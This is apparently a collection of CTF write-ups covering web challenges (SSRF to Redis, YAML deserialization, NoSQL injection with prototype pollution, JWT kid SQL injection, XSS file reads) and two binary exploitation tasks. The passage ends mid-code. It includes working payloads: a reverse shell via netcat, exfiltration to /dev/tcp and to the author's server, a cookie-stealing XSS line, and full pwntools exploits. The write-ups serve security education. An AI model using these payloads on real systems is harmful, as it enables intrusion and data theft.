$this->render("jutsus/show.html.twig",["name"=>$name,"description"=>$description,"publishedAt"=>$publishedAt,"author"=>$author]); 47 | } 48 | 49 | ``` 50 | 51 | And this is the part where **curl** was used (a symfony service created) : 52 | 53 | ```php 54 | 55 | class Curl 56 | { 57 | public function fetch(string $url):string { 58 | $response = shell_exec("curl '".escapeshellcmd($url)."' -s --max-time 6"); 59 | preg_replace('/(.*)<\/title>/i','',$response); 60 | return (!empty($response)?substr($response,0,780):""); 61 | 62 | } 63 | public function extractTitle(string $url):string{ 64 | $response=$this->fetch($url); 65 | $output=array(); 66 | preg_match('/<title>(.*)<\/title>/i',$response,$output); 67 | return (array_key_exists(1,$output) ? $output[1]:"Unknown Jutsu"); 68 | 69 | } 70 | } 71 | 72 | ``` 73 | 74 | So we can notice that if we can edit the cached version to have my XSS payload we will bypass htmlspecialchars sanitization and get our javascript code executed. We can achieve this if we chain 75 | the SSRF to communicate with Redis caching system ( you can know from the configuration files that the system is using redis with the hostname redis). 76 | 77 | Using gopher protocol we can communicate with all text based protocols including redis by just following this pattern: 78 | 79 | > gopher://redis:6379/_REDIS Command 80 | 81 | we need to firstly fetch all keys using **KEYS \*** but you can notice the use of escapeshellcmd that will escape \* so we have to urlencode our payload in order to bypass this. 82 | 83 | > gopher://redis:6379/_KEYS%20%2a 84 | 85 | This will fetch all jutsus for us 86 | 87 | ![RESULT](https://imgur.com/QZr5ljQ.png) 88 | 89 | Now we only have to set that key to our XSS payload : 90 | 91 | > gopher://redis:6379/_SET%20yLAP6wFwIy%3Ajutsu5598%20%27s%3A81%3A%22%3Cscript%20src%3D%22URL%22%3E%3C%2Fscript%3E%22%3B%27 92 | 93 | And Bingo you will get the flag : 94 | 95 | **FwordCTF{Y0u_Only_h4vE_T0_cH4in_4nd_Th1nk_w3ll}** 96 | 97 | There was an unintended solution that exploited a problem in the markdown parser (I contacted the developer to resolve this issue) 98 | 99 | ``` ![<img src="#" onerror="src='http://requestbin.net/r/12bfihl1?c='+document.cookie; this.onerror=null"/>](#){onerror=outerHTML=alt} ``` 100 | 101 | ## Useless(3 solves) 500pts ## 102 | 103 | ![TASK](https://imgur.com/r0HTsK7.png) 104 | 105 | In this task we were given a flask project, when we open the website we can notice in the login page the possibility to login using github.After creating an account and signing in we don't see anything special. 106 | 107 | ![TASK](https://imgur.com/O60WJr5.png) 108 | 109 | Let's get a look on the source code, after some digging, this part seems interesting, it's the logic handling the Github Oauth. 110 | 111 | ```python 112 | @oauth_authorized.connect_via(github_authbp) 113 | def github_oauth(github_authbp,token): 114 | if not github.authorized: 115 | return redirect(url_for("github.login")) 116 | resp = github.get("/user") 117 | if not resp.ok: 118 | return redirect(url_for("github.login")) 119 | info=resp.json() 120 | auth=oauth.OAuth.query.filter_by(provider_user_id=info["id"]).first() 121 | if auth is None: 122 | auth = oauth.OAuth(provider="github", provider_user_id=info["id"], token=token) 123 | if auth.user: 124 | login_user(auth.user) 125 | return redirect("/home",302) 126 | else: 127 | if not validate_username(info["login"]): 128 | return redirect("/register") 129 | if info["login"]=="fwordadmin": 130 | user = users.User(username=info["login"], email=info["email"],is_admin=True) 131 | else: 132 | user=users.User(username=info["login"],email=info["email"]) 133 | auth.user=user 134 | base.db_session.add_all([user,auth]) 135 | base.db_session.commit() 136 | login_user(user) 137 | return redirect("/home",302) 138 | else: 139 | login_user(auth.user) 140 | return redirect("/home", 302) 141 | 142 | ``` 143 | 144 | The meaning of this code (for lazy people :p ) when a user completes the Oauth dance successfully for the first time he will be registered in the database in the User table and we can also notice that **fwordadmin** is the github account of the admin (this information will help us next). 145 | 146 | Now our goal is to login using fwordadmin account, there's something suspicious in the previous code, when you connect via github you don't need any password but indeed the user is still 147 | saved in the same table where regular registrations are stored so we have to wonder what password is set by default or is there some column to verify the login method (which is not the case). 148 | 149 | The User class confirms our statement, the default password is set to "" 150 | 151 | ```python 152 | class User(UserMixin,Base): 153 | __tablename__ = 'users' 154 | id = Column(Integer, primary_key=True) 155 | username = Column(String(50), unique=True) 156 | email = Column(String(120), unique=True) 157 | password_hash=Column(String(200)) 158 | is_admin=Column(Boolean) 159 | def __init__(self, username=None, email=None,password="",is_admin=False): 160 | self.username = username 161 | self.email = email 162 | print("pass :"+password) 163 | self.set_password(password) 164 | self.is_admin=is_admin 165 | 166 | ``` 167 | 168 | So if we connect with the following credentials we will takeover the admin account: 169 | 170 | ``` 171 | login: fwordadmin 172 | password: // 173 | ``` 174 | There is a check that removes special characters so the password will be interpreted as "" at the end. 175 | 176 | Now we have access to the admin panel that has a feature that parses docker-compose files (yaml file) so even without reading the source code we can know that is a yaml unsafe deserialization exploit. 177 | 178 | The vulnerable code: 179 | 180 | ```python 181 | def parse(text): 182 | try: 183 | res = yaml.load(text, Loader=Loader) 184 | return res 185 | except Exception: 186 | return "An Error has occured" 187 | 188 | ``` 189 | 190 | This is my final exploit that spawns a reverse shell: 191 | 192 | ```python 193 | import yaml,subprocess,requests 194 | 195 | class Payload(object): 196 | def __reduce__(self): 197 | return (subprocess.Popen,(tuple('nc IP PORT -e /bin/bash'.split(" ")),)) 198 | deserialized_data = yaml.dump(Payload()) 199 | data1={"username":"fwordadmin","password":"////"} 200 | print("[+] Payload is: "+deserialized_data) 201 | #yaml.load(deserialized_data,Loader=yaml.Loader) 202 | data2={"service":deserialized_data} 203 | s=requests.Session() 204 | r=s.post("https://useless.fword.wtf/login",data=data1) 205 | if r.status_code==200: 206 | print("[+] Logged in successfully") 207 | r=s.post("https://useless.fword.wtf/home",data=data2) 208 | print("[+] Shell Spawned, check your listener) 209 | 210 | ``` 211 | 212 | I hope you had fun solving this task and learned from it , i tried to inspire it from a project in my internship . 213 | 214 | ## Otaku (8 solves) 500pts ## 215 | 216 | ![TASK](https://imgur.com/GduvVgP.png) 217 | 218 | This was a Node Js application with its source code as always (i tried to use all known languages in the web tasks xd), opening the website we have a simple login/register page and a home page. 219 | 220 | ![TASK](https://imgur.com/4IZ3mAW.png) 221 | 222 | Home Page: 223 | 224 | ![TASK](https://imgur.com/8y6Dccr.png) 225 | 226 | We have an update feature after connecting to update our favorite anime and username, le's have a look at its source code: 227 | 228 | ```js 229 | app.post("/update",(req,res)=>{ 230 | try{ 231 | if(req.session.username && req.session.anime){ 232 | if(req.body.username && req.body.anime){ 233 | var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`); 234 | client.connect((err)=>{ 235 | if (err) return res.render("update",{error:"An unknown error has occured"}); 236 | const db=client.db("kimetsu"); 237 | const collection=db.collection("users"); 238 | collection.findOne({"username":req.body.username},(err,result)=>{ 239 | if (err) {return res.render("update",{error:"An unknown error has occured"});console.log(err);} 240 | if (result) return res.render("update",{error:"This username already exists, Please use another one"});}); 241 | collection.findOneAndUpdate({"username":req.session.username},query,{ returnOriginal: false },(err,result)=>{ 242 | if (err) return res.render("update",{error:"An unknown error has occured"}); 243 | var newUser={}; 244 | var attrs=Object.keys(result.value); 245 | attrs.forEach((key)=>{ 246 | newUser[key.trim()]=result.value[key]; 247 | if(key.trim()==="isAdmin"){ 248 | newUser["isAdmin"]=0; 249 | } 250 | }); 251 | req.session.username=newUser.username; 252 | req.session.anime=newUser.anime; 253 | req.session.isAdmin=newUser.isAdmin; 254 | req.session.save(); 255 | return res.render("update",{error:"Updated Successfully"}); 256 | }); 257 | }); 258 | 259 | } 260 | else return res.render("update",{error:"An unknown error has occured"}); 261 | } 262 | else res.redirect(302,"/login"); 263 | } 264 | catch(err){ 265 | console.log(err); 266 | } 267 | }); 268 | ``` 269 | 270 | We can easily notice the NoSQL injection in ``` var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`); ``` and prototype pollution here : 271 | 272 | ``` 273 | var newUser={}; 274 | var attrs=Object.keys(result.value); 275 | attrs.forEach((key)=>{ 276 | newUser[key.trim()]=result.value[key]; 277 | if(key.trim()==="isAdmin"){ 278 | newUser["isAdmin"]=0; 279 | } 280 | }); 281 | ``` 282 | 283 | Our goal is to set isAdmin to 1, the prototype pollution vulnerable part is parsing the result json object of NoSQL query, so if we chain the NoSQL injection with prototype 284 | pollution we will have the possibility to set isAdmin to 1, we can achieve this by injecting the following in anime field: 285 | 286 | > brrr"," __proto__" : {"isAdmin":1}, "aaaa":"aaa 287 | 288 | W don't have to forget the whitespace before ```__proto__``` because mongo doesn't accept it by default but we can notice the usage of trim() so adding some whitespace will do the trick. 289 | 290 | Now we have admin access: 291 | 292 | ![ADMIN](https://imgur.com/kGcC3xI.png) 293 | 294 | In the admin panel we have the possibility to set an environment variable and run a js script, the intended idea is to set ``` NODE_VERSION ``` env variable to some js code followed by // and then execute /proc/self/environ. 295 | The content of /proc/self/environ will be interpreted as Js code ( we chose NODE_VERSION because it's the first env var, we knew it by connecting to the node docker image and checking its environment variables). 296 | 297 | Final payload: 298 | 299 | ``` 300 | envname: NODE_VERSION 301 | 302 | env: process.mainModule.require('child_process').exec("bash -c \" cat /flag.txt > /dev/tcp/IP/PORT\""); // 303 | 304 | path: /proc/self/environ 305 | 306 | ``` 307 | 308 | And Bingo we got our flag 309 | 310 | ![FLAG](https://imgur.com/DNO9m4H.png) 311 | 312 | ### Other Writeups ### 313 | 314 | Super Guesser Team writeups, they solved all web challenges :D [LINK](https://github.com/Super-Guesser/ctf/tree/master/Fword%20CTF%202020/writeups) 315 | 316 | Hexion Team Otaku task writeup [LINK](https://github.com/om3r-v/CTF-solutions/tree/master/FwordCTF/otaku) 317 | 318 | ## Bash Category ## 319 | 320 | These category included some privesc and jail challenges , some really nice writeups were written by the teams that participated, so i'll put some links of the writeups: 321 | 322 | **JailBoss:** 323 | 324 | [Writeup 1](https://github.com/FrigidSec/CTFWriteups/tree/master/FwordCTF/Bash/JailBoss) 325 | 326 | [Writeup 2](https://github.com/s-3ntinel/writeups/blob/master/ctf/FwordCTF_2020/bash/JailBoss/README.md) 327 | 328 | **CapiCapi** 329 | 330 | [Writeup 1](https://github.com/Zarkrosh/ctf-writeups/tree/master/2020-FwordCTF#bash---capicapi) 331 | 332 | [Writeup 2](https://github.com/PeterPHacker/fword-ctf-writeups/blob/master/README.md) 333 | 334 | **Bash is Fun** 335 | 336 | [Writeup 1](https://github.com/s-3ntinel/writeups/blob/master/ctf/FwordCTF_2020/bash/BashIsFun/README.md) 337 | 338 | [Writeup 2](https://github.com/Zarkrosh/ctf-writeups/tree/master/2020-FwordCTF#bash---bash-is-fun) 339 | 340 | ## Source Code ## 341 | 342 | You can visit this github repo where i'll publish all related things to FwordCTF 2020 ( I have already published the tasks source code ) 343 | 344 | [FwordCTF 2020](https://github.com/kahla-sec/FwordCTF-2020) 345 | 346 | Thank you for reading the entire article, if you have any questions you can contact me on twitter @belkahlaahmed1 . organizing this huge CTF was really a unique experience and I learned a lot from it. Long life Fword Team you are just awesome guys. 347 | -------------------------------------------------------------------------------- /HackZone VIII/Web Challenges/README.md: -------------------------------------------------------------------------------- 1 | # **HackZone VIII Web Writeups** # 2 | Hello guys , HackZone VIII CTF has ended this morning , i participated with my team Fword and we got the 4th place, here is my writeup for the three web challenges I managed to solve :D 3 | 4 | ![TASK](https://imgur.com/xrafZEo.png) 5 | 6 | # **BabyWeb1(722pts)(10 solves)** # 7 | 8 | ![TASK](https://imgur.com/zu1XKQe.png) 9 | 10 | In this task we are given a platform where we can share a picture with some msg and it generates a password for us to access these details ,there are already some pictures posted by the author, so we have to access them and maybe the flag in the details of one of them. 11 | 12 | ![TASK](https://imgur.com/9hXA90t.png) 13 | 14 | Trying to post a picture with the same title of the posted pictures will be denied so let's try SQL truncation attack and submit a picture with these details : 15 | 16 | - Title : "naaah " 17 | - url : "anything here" 18 | -msg : "anything" 19 | 20 | And Bingo it passed the title check and we got a password :D 21 | 22 | ![TASK](https://imgur.com/rywyGg4.png) 23 | 24 | Using this password will give us the details of the picture and the flag if we check the source code :D 25 | 26 | ![TASK](https://imgur.com/bpK7N8F.png) 27 | 28 | # **Insecure(884pts)(4 solves)** # 29 | 30 | ![TASK](https://imgur.com/ehpXH1T.png) 31 | 32 | I really had a lot of fun playing this task ,we are given a text to image converter website , as the description said the first part of the flag is due to a misconfiguration so the first thing i thinked about is a bucket misconfig and it was the case. 33 | 34 | ![TASK](https://imgur.com/lISjgSe.png) 35 | 36 | Accessing this url will give us the first part (The same bucket where Hackzone Logo is stored) 37 | > https://storage.googleapis.com/hzviii/flag_part1.txt 38 | 39 | **1st Part:** HZVIII{Buck3t_M1sc0nf1gur4t1on_ 40 | 41 | Let's start the second part which is the most interesting , we have to read this file /psycor/flag_part2.txt , so the first thing i thinked about was abusing an SSRF and read local files . 42 | It was a php website so firstly i thinked that maybe we will use an exploit in the famous GD library of php or something like that but it was only a rabbit hole xd 43 | 44 | After some enumeration i discovered that we have an XSS here , so things are becoming clearer maybe it's using phantom Js to convert this text . 45 | 46 | ![TASK](https://imgur.com/UAn5UOk.png) 47 | 48 | Our scenario now is revealed , we'll exploit this XSS vulnerability to read local files , we have also to mention that the script tag was filtered . 49 | I passed a lot of time in this part and tried a lot with basically this payload but i didn't get anything : 50 | 51 | ``` 52 | <img src="aa" onerror="function reqListener () { 53 | var encoded = encodeURI(this.responseText); 54 | var b64 = btoa(this.responseText); 55 | var raw = this.responseText; 56 | document.write('<iframe src="http://100.26.206.184:1234/?a='+b64+'"></iframe>'); 57 | } 58 | var oReq = new XMLHttpRequest(); 59 | oReq.addEventListener('load', reqListener); 60 | oReq.open('GET', 'file:///psycor/flag_part2.txt'); 61 | oReq.send();"> 62 | ``` 63 | I have than tried to read it using iframes but i didn't have any results :'( 64 | 65 | ![TASK](https://imgur.com/bZInnkb.png) 66 | 67 | This was really painful xd i thinked that maybe using onerror attribute , phantom Js won't wait until XMLHttpRequest fetch the content of the file , so maybe we have to use the script tag ? But it's filtered so all we have to do is bypass this filter :D 68 | 69 | ![TASK](https://imgur.com/ySPcXuS.png) 70 | 71 | As we see in the picture below , the script word is stripped so what if we enter : 72 | > scscriptript 73 | 74 | The script word will be stripped and Bingo we will have our script tag , let's try it 75 | 76 | ![TASK](https://imgur.com/OqHP5I5.png) 77 | 78 | Yeees It workeed :D so now how will we use the script tag ? we will simply try to convert this line now : 79 | 80 | ```html 81 | <scscriptript src="http://100.26.206.184:1234/test.js"></scscriptript> 82 | ``` 83 | **NOTE :** It's my VPS IP so DONT use it :D 84 | 85 | And i hosted the test.js file in my server , this is its content , we will try to read the file using XMLHttpRequest so basically the same payload as below 86 | 87 | ```javascript 88 | function reqListener () { 89 | var encoded = encodeURI(this.responseText); 90 | var b64 = btoa(this.responseText); 91 | var raw = this.responseText; 92 | document.write('<iframe src="http://100.26.206.184:1234/?a='+b64+'"></iframe>'); 93 | } 94 | var oReq = new XMLHttpRequest(); 95 | oReq.addEventListener("load", reqListener); 96 | oReq.open("GET", "file:///psycor/flag_part2.txt"); 97 | oReq.send(); 98 | ``` 99 | 100 | And yees we received an answer :D 101 | 102 | ![TASK](https://i.imgur.com/hTbrKXX.png) 103 | 104 | Base64 decoding it will give us the last part of the flag :D I really enjoyed this task so thank you @PsycoR for your efforts 105 | 106 | # **Calculator(722pts)(10 solves)** # 107 | 108 | This task was pretty obvious , we have x and y parameters and the web app calculates their division , if we enter any character we will have the error page and Bingo debug mode is true :D 109 | 110 | ![TASK](https://imgur.com/iLqircE.png) 111 | 112 | We will now leak the Secret key of the app and sign a session cookie that has the attribute "is_admin" set to True . 113 | 114 | ![TASK](https://imgur.com/jTwwuLm.png) 115 | 116 | To do that we will use flask-unsign tool with the following command : 117 | 118 | > flask-unsign --sign --cookie "{'is_admin': True}" --secret 'DeRz7YDZ5nCDqR3vt33QpuhkrSYLmuX8' --legacy 119 | 120 | ![TASK](https://imgur.com/NIEbykl.png) 121 | 122 | And changing the cookie will give us the flag ! 123 | 124 | ![TASK](https://imgur.com/xOhQh4y.png) 125 | 126 | I want to thank the organizers for this cool CTF and nice tasks, unfortunately i didn't have enough time to look at pwn tasks :( I really have to sleep now so if you have any questions contact me on Twitter @BelkahlaAhmed1 127 | -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn1/README.md: -------------------------------------------------------------------------------- 1 | # pwn1(70pts) # 2 | 3 | ![TASK](https://imgur.com/4fbyzFx.png) 4 | 5 | It was a ret2libc task , but we had firstly to leak the libc base address using BOF (i leaked it through printf address) than we will return to main and perform our ret2 System :D 6 | here is my exploit, if you have any questions you can contact me on twitter @BelkahlaAhmed1 7 | 8 | ```python 9 | 10 | from pwn import * 11 | p=remote("pwn1-01.play.midnightsunctf.se",10001) 12 | #p=process("./pwn1") 13 | OFFSET=cyclic(72) 14 | POP_RDI_RET=p64(0x0000000000400783) 15 | PUTS=p64(0x0000000000400550) 16 | LEAK=p64(0x602020) 17 | MAIN=p64(0x400698) 18 | payload=OFFSET+POP_RDI_RET+LEAK+PUTS+MAIN 19 | log.info("Payload Crafted") 20 | p.recvuntil("buffer:") 21 | log.info("Sending payload") 22 | #raw_input("attach") 23 | p.sendline(payload) 24 | data=p.recvline().strip() 25 | leak=u64(data.ljust(8,"\x00")) 26 | BASE_LIBC=leak-0x64e80 # local 0x54a20 27 | log.info("leaked libc base: "+hex(BASE_LIBC)) 28 | p.recvuntil("buffer:") 29 | #BINSH=p64(BASELIBC+0x183cee) 30 | #SYSTEM=p64(BASELIBC+0x46ed0) 31 | RET=p64(0x0000000000400536) 32 | SYSTEM=p64(BASE_LIBC+0x4f440) 33 | BINSH=p64(BASE_LIBC+0x1b3e9a) 34 | payload=OFFSET+RET+POP_RDI_RET+BINSH+SYSTEM 35 | p.sendline(payload) 36 | p.interactive() 37 | ``` 38 | -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn1/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | p=remote("pwn1-01.play.midnightsunctf.se",10001) 3 | #p=process("./pwn1") 4 | OFFSET=cyclic(72) 5 | POP_RDI_RET=p64(0x0000000000400783) 6 | ''' 7 | BASE_LIBC=0x00007ffff7def000 8 | SYSTEM=p64(BASE_LIBC+0x4f440) 9 | BINSH=p64(BASE_LIBC+0x1b3e9a) 10 | ''' 11 | PUTS=p64(0x0000000000400550) 12 | LEAK=p64(0x602020) 13 | MAIN=p64(0x400698) 14 | payload=OFFSET+POP_RDI_RET+LEAK+PUTS+MAIN 15 | log.info("Payload Crafted") 16 | p.recvuntil("buffer:") 17 | log.info("Sending payload") 18 | #raw_input("attach") 19 | p.sendline(payload) 20 | data=p.recvline().strip() 21 | #data="\x20"+data LOCAL 22 | leak=u64(data.ljust(8,"\x00")) 23 | BASE_LIBC=leak-0x64e80 # local 0x54a20 24 | log.info("leaked libc base: "+hex(BASE_LIBC)) 25 | p.recvuntil("buffer:") 26 | #BINSH=p64(BASELIBC+0x183cee) 27 | #SYSTEM=p64(BASELIBC+0x46ed0) 28 | RET=p64(0x0000000000400536) 29 | SYSTEM=p64(BASE_LIBC+0x4f440) 30 | BINSH=p64(BASE_LIBC+0x1b3e9a) 31 | payload=OFFSET+RET+POP_RDI_RET+BINSH+SYSTEM 32 | p.sendline(payload) 33 | p.interactive() 34 | -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn1/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/Midnight Sun CTF 2020 Quals/pwn1/libc.so -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn1/pwn1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/Midnight Sun CTF 2020 Quals/pwn1/pwn1 -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn2/README.md: -------------------------------------------------------------------------------- 1 | # pwn2(80pts) # 2 | 3 | ![TASK](https://imgur.com/lYjuGsS.png) 4 | 5 | It was a really fun task , we had a format string vulnerability , so firstly i overwrited the GOT entry of the exit function with main address so we have now an infinite loop and the program will never exit , than using format string we leak the libc base address and than we overwrite the GOT entry of printf with the address of system :D 6 | Here is my exploit , if you have any questions you can contact me o twitter @BelkahlaAhmed1 7 | 8 | ```python 9 | 10 | from pwn import * 11 | def extract(add,n): 12 | p1="0x"+add[-4:] 13 | p2=add[:6] 14 | if n==1: 15 | return p1 16 | if n==2: 17 | return p2 18 | def pad(payload): 19 | return payload+"X"*(63-len(payload)) 20 | #p=process("./pwn2") 21 | p=remote("pwn2-01.play.midnightsunctf.se",10002) 22 | p.recvuntil("input:") 23 | EXITGOT=p32(0x804b020) 24 | EXITGOT2=p32(0x804b020+2) 25 | ''' 26 | s="" 27 | for i in range(27,34): 28 | s+="%"+str(i)+"$p " 29 | ''' 30 | payload=EXITGOT+EXITGOT2 31 | payload+="%2044x%8$hn%32231x%7$hn" 32 | #raw_input("attach") 33 | p.sendline(pad(payload)) 34 | p.recvuntil("input:") 35 | p.sendline(pad("%30$x")) 36 | data=p.recvuntil("X") 37 | printf=int("0x"+data[-9:-1],16)-5 38 | LIBCBASE=printf-0x50b60 39 | log.info("Leaked Libc Base : "+hex(LIBCBASE)) 40 | p.recvuntil("input:") 41 | PRINTFGOT=p32(0x804b00c) 42 | PRINTFGOT2=p32(0x804b00c+2) 43 | SYSTEM=LIBCBASE+0x3cd10 44 | log.info("System address: "+hex(SYSTEM)) 45 | payload=PRINTFGOT 46 | payload+=PRINTFGOT2 47 | p1=int(extract(hex(SYSTEM),1),16) 48 | p2=int(extract(hex(SYSTEM),2),16) 49 | log.info("P1: "+str(p1-8)+" P2: "+str(p2-p1)) 50 | payload+="%"+str(p1-8)+"x%7$hn%"+str(p2-p1)+"x%8$hn" 51 | log.info("Payload crafted") 52 | p.sendline(pad(payload)) 53 | p.recvuntil("input:") 54 | p.sendline("/bin/sh") 55 | p.interactive() 56 | 57 | #Main address 0x80485eb 58 | # 7 stack adress 59 | 60 | ``` 61 | -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn2/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | def extract(add,n): 3 | p1="0x"+add[-4:] 4 | p2=add[:6] 5 | if n==1: 6 | return p1 7 | if n==2: 8 | return p2 9 | def pad(payload): 10 | return payload+"X"*(63-len(payload)) 11 | #p=process("./pwn2") 12 | p=remote("pwn2-01.play.midnightsunctf.se",10002) 13 | p.recvuntil("input:") 14 | EXITGOT=p32(0x804b020) 15 | EXITGOT2=p32(0x804b020+2) 16 | ''' 17 | s="" 18 | for i in range(27,34): 19 | s+="%"+str(i)+"$p " 20 | ''' 21 | payload=EXITGOT+EXITGOT2 22 | payload+="%2044x%8$hn%32231x%7$hn" 23 | #raw_input("attach") 24 | p.sendline(pad(payload)) 25 | p.recvuntil("input:") 26 | p.sendline(pad("%30$x")) 27 | data=p.recvuntil("X") 28 | printf=int("0x"+data[-9:-1],16)-5 29 | LIBCBASE=printf-0x50b60 30 | log.info("Leaked Libc Base : "+hex(LIBCBASE)) 31 | p.recvuntil("input:") 32 | PRINTFGOT=p32(0x804b00c) 33 | PRINTFGOT2=p32(0x804b00c+2) 34 | SYSTEM=LIBCBASE+0x3cd10 35 | log.info("System address: "+hex(SYSTEM)) 36 | payload=PRINTFGOT 37 | payload+=PRINTFGOT2 38 | p1=int(extract(hex(SYSTEM),1),16) 39 | p2=int(extract(hex(SYSTEM),2),16) 40 | log.info("P1: "+str(p1-8)+" P2: "+str(p2-p1)) 41 | payload+="%"+str(p1-8)+"x%7$hn%"+str(p2-p1)+"x%8$hn" 42 | log.info("Payload crafted") 43 | p.sendline(pad(payload)) 44 | p.recvuntil("input:") 45 | p.sendline("/bin/sh") 46 | p.interactive() 47 | 48 | #Main address 0x80485eb 49 | # 7 stack adress 50 | #0x08048693 51 | -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn2/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/Midnight Sun CTF 2020 Quals/pwn2/libc.so.6 -------------------------------------------------------------------------------- /Midnight Sun CTF 2020 Quals/pwn2/pwn2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/Midnight Sun CTF 2020 Quals/pwn2/pwn2 -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/README.md: -------------------------------------------------------------------------------- 1 | # **JWT In a new way (1000pts) (0 Solves)** 2 | ![TASK](https://i.imgur.com/YuMeMZE.png) 3 | 4 | And finally i'm writing a writeup for this task xD i published this task in Securinets Mini CTF and NCSC2.0_CTF but unfortunately it had 0 solves (in fact no one managed to pass the first step) , it took me a lot of time to prepare this task so i hope you enjoy it :D 5 | However bring your coffee cup and let's begin the road . This Task has 3 steps , the first one is bypassing JWT token with a custom attack (not the regular ones) actually using an SQL injection in one of the token parameters , then we will have to exploit an ssrf to crypt the content of flag file (too much filters here haha) 6 | ## 1st Step : JWT Bypass ## 7 | 8 | After visiting the link we have a simple web page with a sign in and sign up page ; 9 | 10 | ![HOME](https://i.imgur.com/y8vDSCL.png) 11 | 12 | So after registering with random creds and signing in we check the cookies and as the task name refers we find a jwt token 13 | 14 | ![HOME](https://i.imgur.com/mmFsMEd.png) 15 | 16 | We go as usual to the famous jwt.io to see the content of the token 17 | 18 | ![JWT](https://i.imgur.com/TRIhUBU.png) 19 | 20 | We can try all the regular attacks but nothing will work , the kid value in the header is suspicious as we dont see it always in JWT tokens so after some googling we can conclude 21 | that the kid parameter is used when the jwt token is signed using multiple keys , each kid value refers to a different key (Example: kid:1 refers for ex to the key 'blabla' 22 | and when we have kid:2 we are using a different key to sign the jwt token) Hmmm things are getting interesting here, we can suppose that the keys are fetched from a database maybe , 23 | let's read again the description , we can notice a hint for SQL so maybe we have an SQL injection ? Let's try to trigger an error by injecting this in the kid parameter 24 | > ' UNION SELECT 2 -- - 25 | 26 | But Before you will have to fully understand how JWT tokens are forged, because there is no libraries that include the kid implementation so let's take some notes here : 27 | 28 | As we all know JWT token have 3 sections : Header + Payload + signature 29 | 30 | Header : typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA but here we have also the kid part which is optional 31 | 32 | Payload : it contains statements about an entity (typically, the user) and additional data . 33 | 34 | Signature : Simply if we are using HS256 the sig is : Signature= HMACSHA256(BASE64URL(HEADER)+'.'+BASE64URL(PAYLOAD)) 35 | 36 | Be careful it's BASE64URL not a regular BASE64 you can read about it here : [LINK](https://fr.wikipedia.org/wiki/Base64#base64url) 37 | 38 | NOTE: you can use the php function hash_hmac('sha256', $msg, $key, true) to sign the token 39 | 40 | so after forging the JWT token and replacing it we got this page ! 41 | 42 | Token i used (i have used a random key for the signature) : 43 | > eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2Iiwia2lkIjogIiAnIFVOSU9OIFNFTEVDVCAyIC0tIC0ifQ.eyJ1c2VyIjogImFhIiwidHlwZSI6ICJhZG1pbiJ9.xXh6UOMjm0YtgmiIsL6VExdDCLiUhIEF28kjv8UzWpo 44 | 45 | ![JWT](https://imgur.com/GHbrcmm.png) 46 | 47 | Hmmmmmmm an interesting message i think we are on a good path , now let's think wisely , we have two paths now , the first one is to try to leak the keys with a blind SQL injection which is really painful especially if we face some filters and the second one which we will follow. 48 | 49 | We will force the jwt token to use a key we provide to sign the token ; after some regular SQL injection tests we found that we had two columns which is expected (a column for the id and a column for the key ) we use this payload in the kid parameter 50 | > 'UNION SELECT 1,'kahla' -- - 51 | 52 | Thus the key will be forced to be kahla BUT we still get the annoying page "Here is your flag ! Just kidding " :'( (What an evil author 3:) ) 53 | 54 | I think there are some filters here :'( Let's try this payload in the kid parameter : 55 | > 'UNiOn SElEcT 1,'abc' -- - 56 | 57 | The final token used: 58 | 59 | eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2Iiwia2lkIjogIidVTmlPbiBTRWxFY1QgMSwnYWJjJyAtLSAtIn0.eyJ1c2VyIjogIiIsInR5cGUiOiAiYWRtaW4ifQ.3cOHXg1U7Mj_I3ag37oeg5KWJYA11T74bbD4NrcMC8A 60 | 61 | And yeeeeeeees we did it ! but WTF where is our flag ! we need to finish this step before 62 | 63 | ## 2nd Step : SSRF + Decrypt ## 64 | 65 | ![CRYPT](https://imgur.com/BLjbHaj.png) 66 | 67 | It's a web application that crypts a txt file and after some tries i figured that it only accepts urls that finish with .txt extension 68 | 69 | ![CRYPT](https://imgur.com/9mPssf6.png) 70 | 71 | We can all notice that it's an ssrf but: 72 | - file protocol is filtered we only can use http or https protocol 73 | - localhost,127.0.0.1,127.0.1,the octal form of ip , and even ipv6 localhost address are filtered 74 | 75 | Finally i used this payload that bypassed all the filters below : 76 | > http://0x7f000001/flag.txt 77 | 78 | I used the hexadecimal format of local ip address :D 79 | 80 | And Bingo we have our flag but it's encrypted 81 | ![CRYPT](https://imgur.com/cFehJVI.png) 82 | 83 | If you check the source code you find a hint that leads us to visit robots.txt file and BINGO we find the crypting function 84 | 85 | ```php 86 | public static function cryptage($content){ 87 | $i=0; 88 | $words=array('kAHl4','$ecUriNets','Cha1m4','th4meUr','WhiT3HacK3Rs','Ani$Bo$$CoUldNtS0Lv31t'); 89 | $crypted=""; 90 | for($i=0;$i<strlen($content);$i-=-pow(0,0)) 91 | { 92 | $ser=serialize(array($words[$i % 6],'securinets')); 93 | $key=intval(explode(":",explode(";",$ser)[1])[1]); 94 | $crypted=$crypted.chr(ord($content[$i])+$key) ; 95 | } 96 | return $crypted; 97 | ``` 98 | 99 | But it's somehow a little bit obfuscated , however after digging here is the decrypt function 100 | 101 | 102 | ```php 